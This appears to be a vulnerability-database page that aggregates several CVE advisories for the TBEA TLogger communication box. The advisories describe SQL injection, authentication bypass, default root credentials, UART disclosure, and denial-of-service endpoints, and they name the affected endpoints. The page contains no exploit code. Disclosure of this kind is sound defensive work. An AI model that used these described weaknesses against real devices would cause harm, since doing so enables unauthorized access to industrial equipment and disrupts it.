|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15682",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:14:58.027154Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:15:27.613Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an unauthenticated resource exhaustion vulnerability in its web server. An unauthenticated remote attacker can send PUT requests to the \u003ccode\u003e/tmp/\u003c/code\u003e endpoint, causing the web server to create persistent files containing attacker-controlled data under \u003ccode\u003e/opt/myapp/webserver/\u003c/code\u003e. The generated files are not removed because the web server attempts to move them into a non-existent directory. Repeated requests can therefore exhaust available storage and cause a denial-of-service condition."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an unauthenticated resource exhaustion vulnerability in its web server. An unauthenticated remote attacker can send PUT requests to the /tmp/ endpoint, causing the web server to create persistent files containing attacker-controlled data under /opt/myapp/webserver/. The generated files are not removed because the web server attempts to move them into a non-existent directory. Repeated requests can therefore exhaust available storage and cause a denial-of-service condition."
}
],
"impacts": [
{
"capecId": "CAPEC-130",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-130 Excessive Allocation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770 Allocation of resources without limits or throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:33:23.989Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Unauthenticated Resource Exhaustion",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15682",
"datePublished": "2026-08-10T19:33:23.989Z",
"dateReserved": "2026-08-04T11:34:48.629Z",
"dateUpdated": "2026-08-12T18:15:27.613Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15681 (GCVE-0-2025-15681)
Vulnerability from nvd – Published: 2026-08-10 19:31 – Updated: 2026-08-12 18:13
VLAI
EPSS
VEX
Title
Insufficient Webserver Authentication
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 contains an authentication bypass in its web server. After a user has previously authenticated to the device, an unauthenticated attacker can directly access protected functionality through the /index.asp endpoint without providing valid credentials. This allows the attacker to access functionality intended for authenticated users and may expose or modify device configuration and data. Logging out from the bypassed state can additionally cause the web server to crash.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:10 UTC
CWE
- CWE-306 - Missing authentication for critical function
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15681",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:10:51.494985Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:13:49.621Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an authentication bypass in its web server. After a user has previously authenticated to the device, an unauthenticated attacker can directly access protected functionality through the \u003ccode\u003e/index.asp\u003c/code\u003e endpoint without providing valid credentials. This allows the attacker to access functionality intended for authenticated users and may expose or modify device configuration and data. Logging out from the bypassed state can additionally cause the web server to crash."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an authentication bypass in its web server. After a user has previously authenticated to the device, an unauthenticated attacker can directly access protected functionality through the /index.asp endpoint without providing valid credentials. This allows the attacker to access functionality intended for authenticated users and may expose or modify device configuration and data. Logging out from the bypassed state can additionally cause the web server to crash."
}
],
"impacts": [
{
"capecId": "CAPEC-115",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-115 Authentication Bypass"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 9.2,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:31:05.467Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Insufficient Webserver Authentication",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15681",
"datePublished": "2026-08-10T19:31:05.467Z",
"dateReserved": "2026-08-04T11:34:47.562Z",
"dateUpdated": "2026-08-12T18:13:49.621Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15680 (GCVE-0-2025-15680)
Vulnerability from nvd – Published: 2026-08-10 19:27 – Updated: 2026-08-12 18:10
VLAI
EPSS
VEX
Title
Information Disclosure via UART
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 exposes a UART interface on the device's circuit board without sufficient protection. A physically proximate attacker can connect to the UART interface and observe the device boot process and runtime debug output. The disclosed information includes operating system details, software versions, network configuration, filesystem paths, and other implementation and debugging information that may assist an attacker in further compromising the device.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:10 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15680",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:10:23.103102Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:10:34.505Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 exposes a UART interface on the device\u0027s circuit board without sufficient protection. A physically proximate attacker can connect to the UART interface and observe the device boot process and runtime debug output. The disclosed information includes operating system details, software versions, network configuration, filesystem paths, and other implementation and debugging information that may assist an attacker in further compromising the device."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 exposes a UART interface on the device\u0027s circuit board without sufficient protection. A physically proximate attacker can connect to the UART interface and observe the device boot process and runtime debug output. The disclosed information includes operating system details, software versions, network configuration, filesystem paths, and other implementation and debugging information that may assist an attacker in further compromising the device."
}
],
"impacts": [
{
"capecId": "CAPEC-169",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-169 Footprinting"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "PHYSICAL",
"baseScore": 2.4,
"baseSeverity": "LOW",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-497",
"description": "CWE-497",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:27:28.958Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Information Disclosure via UART",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15680",
"datePublished": "2026-08-10T19:27:28.958Z",
"dateReserved": "2026-08-04T11:34:46.057Z",
"dateUpdated": "2026-08-12T18:10:34.505Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-13294 (GCVE-0-2025-13294)
Vulnerability from nvd – Published: 2026-08-10 19:25 – Updated: 2026-08-12 18:09
VLAI
EPSS
VEX
Title
Unauthenticated SQL Injection
Summary
An unauthenticated SQL injection vulnerability exists in the web server of TBEA TLogger V2.1.0.0B0.0.0.0. Multiple HTTP endpoints incorporate attacker-controlled parameters directly into SQLite queries without sufficient validation or parameterization. A remote unauthenticated attacker can exploit these endpoints to read, modify, or delete data stored in the device's CCU.db database.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:07 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-13294",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:07:15.328038Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:09:40.873Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An unauthenticated SQL injection vulnerability exists in the web server of TBEA TLogger V2.1.0.0B0.0.0.0. Multiple HTTP endpoints incorporate attacker-controlled parameters directly into SQLite queries without sufficient validation or parameterization. A remote unauthenticated attacker can exploit these endpoints to read, modify, or delete data stored in the device\u0027s \u003ccode\u003eCCU.db\u003c/code\u003e database."
}
],
"value": "An unauthenticated SQL injection vulnerability exists in the web server of TBEA TLogger V2.1.0.0B0.0.0.0. Multiple HTTP endpoints incorporate attacker-controlled parameters directly into SQLite queries without sufficient validation or parameterization. A remote unauthenticated attacker can exploit these endpoints to read, modify, or delete data stored in the device\u0027s CCU.db database."
}
],
"impacts": [
{
"capecId": "CAPEC-66",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-66 SQL Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-89",
"description": "CWE-89",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:25:32.123Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Unauthenticated SQL Injection",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-13294",
"datePublished": "2026-08-10T19:25:32.123Z",
"dateReserved": "2025-11-17T11:17:18.796Z",
"dateUpdated": "2026-08-12T18:09:40.873Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-13293 (GCVE-0-2025-13293)
Vulnerability from nvd – Published: 2026-08-10 19:24 – Updated: 2026-08-12 18:06
VLAI
EPSS
VEX
Title
Backdoor / default root credentials
Summary
A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:05 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-13293",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:05:40.823114Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:06:27.824Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in \u003ccode\u003e/etc/shadow\u003c/code\u003e and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device."
}
],
"value": "A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device."
}
],
"impacts": [
{
"capecId": "CAPEC-70",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-70 Try Common or Default Usernames and Passwords"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:24:10.104Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Backdoor / default root credentials",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-13293",
"datePublished": "2026-08-10T19:24:10.104Z",
"dateReserved": "2025-11-17T11:17:17.483Z",
"dateUpdated": "2026-08-12T18:06:27.824Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15683 (GCVE-0-2025-15683)
Vulnerability from cvelistv5 – Published: 2026-08-10 19:38 – Updated: 2026-08-12 18:17
VLAI
EPSS
VEX
Title
Multiple Unauthenticated Denial-of-Service Conditions
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 contains multiple unauthenticated denial-of-service vulnerabilities in its web server. An unauthenticated remote attacker can invoke specific HTTP endpoints to reboot or reset the device, clear application data, or terminate the web server through a segmentation fault. In addition, multiple action endpoints process attacker-controlled parameters using unsafe string operations such as sprintf() and strcat() without adequate bounds checking, allowing crafted input to trigger buffer overflows and crash the web server. The affected endpoints include onRestart, onReset, ClearData, uploadInvFile, getIndiaRPData, YearCaparity, TotalfaultData, recordData, InvHistoryData, CollectHistoryData, InvFaultData, GetPortTableByParm, and UpdatePortConfig.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:17 UTC
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15683",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:17:06.895069Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:17:21.333Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains multiple unauthenticated denial-of-service vulnerabilities in its web server. An unauthenticated remote attacker can invoke specific HTTP endpoints to reboot or reset the device, clear application data, or terminate the web server through a segmentation fault. In addition, multiple action endpoints process attacker-controlled parameters using unsafe string operations such as \u003ccode\u003esprintf()\u003c/code\u003e and \u003ccode\u003estrcat()\u003c/code\u003e without adequate bounds checking, allowing crafted input to trigger buffer overflows and crash the web server. The affected endpoints include \u003ccode\u003eonRestart\u003c/code\u003e, \u003ccode\u003eonReset\u003c/code\u003e, \u003ccode\u003eClearData\u003c/code\u003e, \u003ccode\u003euploadInvFile\u003c/code\u003e, \u003ccode\u003egetIndiaRPData\u003c/code\u003e, \u003ccode\u003eYearCaparity\u003c/code\u003e, \u003ccode\u003eTotalfaultData\u003c/code\u003e, \u003ccode\u003erecordData\u003c/code\u003e, \u003ccode\u003eInvHistoryData\u003c/code\u003e, \u003ccode\u003eCollectHistoryData\u003c/code\u003e, \u003ccode\u003eInvFaultData\u003c/code\u003e, \u003ccode\u003eGetPortTableByParm\u003c/code\u003e, and \u003ccode\u003eUpdatePortConfig\u003c/code\u003e."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains multiple unauthenticated denial-of-service vulnerabilities in its web server. An unauthenticated remote attacker can invoke specific HTTP endpoints to reboot or reset the device, clear application data, or terminate the web server through a segmentation fault. In addition, multiple action endpoints process attacker-controlled parameters using unsafe string operations such as sprintf() and strcat() without adequate bounds checking, allowing crafted input to trigger buffer overflows and crash the web server. The affected endpoints include onRestart, onReset, ClearData, uploadInvFile, getIndiaRPData, YearCaparity, TotalfaultData, recordData, InvHistoryData, CollectHistoryData, InvFaultData, GetPortTableByParm, and UpdatePortConfig."
}
],
"impacts": [
{
"capecId": "CAPEC-115",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-115 Authentication Bypass"
}
]
},
{
"capecId": "CAPEC-100",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-100 Overflow Buffers"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121 Stack-based buffer overflow",
